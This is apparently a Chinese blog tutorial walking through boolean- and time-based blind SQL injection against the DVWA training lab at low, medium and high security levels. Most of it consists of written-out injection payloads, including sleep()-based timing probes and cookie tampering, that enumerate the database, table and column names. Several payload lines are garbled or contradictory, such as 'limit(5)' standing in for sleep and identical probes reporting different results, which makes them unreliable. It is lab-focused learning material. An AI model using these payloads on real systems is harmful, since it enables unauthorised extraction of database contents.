SQL苦练两年半之盲注完整版

基于布尔的盲注是SQL中经典类型之一,主要有基于时间盲注和基于条件盲注。

下面用靶场dvwa为例:

一、(low)

没有进行任何过滤,sql语句查询返回的结果只有两种:

User ID exists in the database

‘ User ID MISSING from the database ’

因此这里是SQL盲注漏洞

1.基于布尔的盲注

输入 1' and 1=1 -- -

输入 1' and 1=2 -- -


说明存在字符型注入。。。。

1).拆解当前数据库名

首先猜数据库名长度,然后挨个猜解字符

输入 1' and length(database())=1 -- - #显示不存在

输入 1' and length(database())=2 -- - #显示不存在

输入 1' and length(database())=3 -- - #显示不存在

输入 1' and length(database())=4 -- - #显示不存在

说 明 数 据 库 名 长 度 是 4

2).采用二分法猜解数据库表名

1' and ascii(substr(database(),1,1))>97 显示存在,说明数据库名的第一个字符的 ascii值大于97(小写字母 a 的 ascii 值);

同上,猜解数据库名 :dvwa

3).猜解数据库中表的数量

1' and (select count (table name)from information schema.tables where table schema=database())=1 -- - 显示不存在

1' and (select count(table name)from information schema.tables where table schema=database())=2 -- 显示存在

说明数据库中有俩个表

4).猜解表名:

1' and length(substr(select table name from information schema.tables where table schema=database()limit 0,1),1)=1 -- - 显示不存在

((((limit 0,1)从表中第0个数据开始,取一个)))

1' and length(substr(select table name from information schema.tables where table schema=database()limit 0,1),1)=2 -- - 显示不存在

-----------------------

1' and length(substr(select table name from information schema.tables where table schema=database()limit 0,1),1)=9 -- - 显示存在 ?????????????????????????????

说明第一个表名长度为 9

1' and ascii(substr((select table name from information schema.tables where table schema=database()limit 0,1)1,1))>97 -- - 显示存在

1' and ascii(substr((select table name from information schema.tables where table schema=database()limit 0,1)1,1))<122 -- - 显示存在

1' and ascii(substr((select table name from information schema.tables where table schema=database()limit 0,1)1,1))<109 -- - 显示存在

1' and ascii(substr((select table name from information schema.tables where table schema=database()limit 0,1)1,1))<103 -- - 显示不存在

1' and ascii(substr((select table name from information schema.tables where table schema=database()limit 0,1)1,1))>103 -- - 显示不存在

说明第一个表的第一个字符是小写字母g

重复如上操作得出俩个表名(guesbook、users)

5.)解析表中的字段名: ()(基于时间的盲注)()

首先猜解表中字段的数量:

1' and if((select count(column_name) from information_schema.columns where table_name='user')=1,sleep(5),1) -- - 没有延迟

1' and if((select count(column_name) from information_schema.columns where table_name='user')=8,sleep(5),1) -- - 明显延迟

说明users 表中有8个字段

接着 挨个猜解字段名

1' and if(length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1,sleep(5),1) -- - 没有延迟

1' and if(length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1,sleep(5),1) -- - 明显延迟

说明users表的第一个字段长度为 7 个字符。

采用二分法即可猜解出各个字段名

6.)解析数据:

同样采用二分法

Medium

中级使用了 mysql_real_escape_string函数 对特殊字符进行了转义

\r \ ' '' \xo 

并且设置了下拉列表 限制输入

使用bp 抓包改参数:

1' and if(length(database())=4,sleep(5),1) -- - 明显延迟,说明数据库长度为:4个字符

1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=9,limit(5),1) # 明显延迟,说明数据中的第一个表明长度为9个字符

1’ and if((select count(table_column) from information_schema.columns where table_name=0x7573657273)=8,sleep(5),1) # 明显延迟,说明users表有8个字段

High

设置了cookie传递参数id,当查询结果为空时,执行sleep函数扰乱基于时间的盲注,同时设置了limit限制输入,用 # 把limit注释掉。然后用基于布尔的盲注

抓包将cookie中参数id改为1’ and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;

抓包将cookie中参数id改为1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表明长度为9个字符;

抓包将cookie中参数id改为1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 为users的16进制),显示存在,说明uers表有8个字段。

发表评论
留言与评论(共有 0 条评论) “”
   
验证码:

相关文章

推荐文章